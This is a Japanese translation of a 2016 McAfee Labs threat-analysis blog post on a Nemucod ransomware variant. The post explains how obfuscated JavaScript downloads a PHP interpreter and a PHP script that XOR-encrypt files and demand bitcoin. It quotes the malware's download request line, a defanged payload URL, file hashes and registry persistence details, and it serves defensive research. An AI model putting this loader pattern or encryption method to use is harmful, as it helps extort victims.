ランサムウェアNemucodは、この数カ月で一気に蔓延しました。Nemucodは、検出を免れるために配信メカニズムと感染媒体を頻繁に変更する特徴を備えているため、セキュリティ研究者にとってこの脅威の対処は非常に困難になっています。最近インテル セキュリティが実環境で発見したNemucodの新しい亜種には、新しい変化が見られます。この亜種は、他のファイルとともにPHPファイルをダウンロードし、これらのペイロード全体を使用して犠牲者のマシンを暗号化するのです。(Nemucodの詳細については、このMcAfee Labs脅威アドバイザリ(英文)を参照してください)
このマルウェアの感染メカニズムは以前のバージョンと同じです。犠牲者のマシンには、スパム電子メールのZIP添付ファイルによって届きます。スパムメールの内容は、犠牲者をだますためにソーシャルエンジニアリングを使用して巧妙に作り上げられています。ZIPファイル内のJavaScriptは高度に難読化されているため、一見したところでは理解するのが非常に困難です。このスクリプト(hash:0316CC3EBA6175E27049EB1C979C2D99)の最後の数行は次のようになっています:
この難読化されたJavaScriptを解読すると、内部に判読できる文字列が見つかりました。わかりやすいようにステップごとに分けてこのスクリプトについて説明します。
変数の割り当て:
一意の長い文字列が変数に割り当てられ、後で悪質なペイロードをダウンロードするURLの構築に使用されます。ここでは、やはりこのURLの一部を構成する5つのドメイン名が1つの配列として割り当てられているのがわかります。ExpandEnvironmentStringsメソッドは、ダウンロードしたペイロードの保管場所%TEMP%を取得します。
悪質なペイロードのダウンロード:
このマルウェアは、処理を行う前に%TEMP%フォルダのa.txtをチェックします。このファイルがある場合、マルウェアは動作を停止します。存在しない場合は、「for loop」を使用してURLを構築し、ペイロードをダウンロードします。
i=0(i=id、id=0のため)およびn=1のときのこのプロセスを見てみましょう。このマルウェアは行19 (前の画面)でHTTP GET要求を準備し、同期HTTP要求を送信します。
xo.open("GET", "http://" + ll[i] + "/counter/?ad=" + ad + "&id=" + id + "&rnd=" + i + n, false);
この行は、次のアドレスのようになります:
hxxp://bellefremee.com/counter/?ad=1Q3ETyWvDJMRxaLztKLV1zcjzcRrGQvzZE&id= c5Jzzaa6WhF1OaBDyD_7aoT6MtP68oT1N1Gj36WpPLjg0VeFz1fMonKZ6ZeJJpqJJWF y4u5HtbBxToPGGh5vO5vYsHh9fNB&rnd=01
このマルウェアは、このアドレスから3つのバイナリと、1つのPHPおよび1つのDLLファイルのダウンロードを試みます:
- a.exe (hash:9F13CC0B1B3B03CBEFD8141E5F50B1C1)
- a1.exe (hash:9C24738B403973653B6634C9299284FB)
- a2.exe (hash:149640B09DC390A881EBBAFD54B7853A)
- php4ts.dll (hash:106FFA7E8342890798F1AE110F763471)
- a.php (hash:B670BF0C481146C52EBE5FBD87879960).
このマルウェアは同じ方法で5つのURLを構築し、%TEMP%に5つのペイロードのダウンロードを試みます。
ダウンロードされたペイロードa.exeは、正式なPHPインタープリターです。
レジストリキーの修正とファイルの削除:
さらにこのスクリプトを解読すると、判別できる別の文字列が見つかりました:
a.exeがa.phpスクリプトを受け入れるのがわかります。このa.exeがPHPインタープリターです。a.phpの実行のために、マルウェアはphp4ts.dllとa.exeの依存関係を活用します。
このプロセスでは、.txtスタートアップを開始するためにHKEY_CURRENT_USER RunおよびHKEY_CLASSES_ROOT Runに「.Crypted」レジストリ名も追加されます。システムに感染後、このマルウェアはペイロードa.php、a.exe、php4ts.dllを削除します。
ランサムノート:
これらのペイロードのダウンロード後、デスクトップにファイルa.txtが作成されます。ランサムノートが含まれているこのファイルは、後でDECRYPT.txtという名前に変更されます。上記の行49から行87のスクリプトによってランサムノートが作成されます。
PHPスクリプト:
行3では、PHPスクリプトがset_time_limit(0)を使用して時間制限を削除し、必要なだけスクリプトの実行を継続します。このスクリプトで使用されている唯一の主要関数はTree()で、ループ内でコールを実行します。「for loop」は、is_dir()関数を利用してディレクトリchr(67) [C]からchr(90) [Z]までをチェックします。Tree()関数内の変数$には、ハードコードされたBase64エンコード文字列が格納されており、これによってファイルが暗号化されます。このマルウェアは、次にpreg_match()関数を利用して正規表現マッチを実行し、この関数に引数として渡されるパスに、上記の行13に表示されている用語が含まれているかどうかをチェックします。rootディレクトリの特定のフォルダ名もチェックします。
マッチが見つかるまでこの処理が繰り返されます。マッチが見つかると、行25のpreg_match()関数を使用してハードコードされた拡張子をチェックし、拡張子.cryptedを使用して暗号化します。行31を見ると、シングルバイトのXORと変数$kを使用する暗号化プロセスを確認できます。
このランサムノートは、ファイルのリストアのために0.37070ビットコインの支払を要求しています。犠牲者は、支払を済ませないと復号化用のリンクを有効化できません。
インテル セキュリティはユーザーに対して、マルウェア対策用のシグネチャを常に最新の状態にしておくようにアドバイスしています。インテル セキュリティ製品は、DATバージョン8199以降で、この悪質なJavaScriptとペイロードをそれぞれJS/Nemucod、PHP/Ransom.a、Trojan-FIWO!として検出します。
※本ページの内容は 2016年6月20日更新のMcAfee Blogの抄訳です。
原文: JavaScript-PHP Joint Exercise Delivers Nemucod Ransomware
著者: Diwakar Dinkar(Research Scientist) and Prajwala Rao
【資料】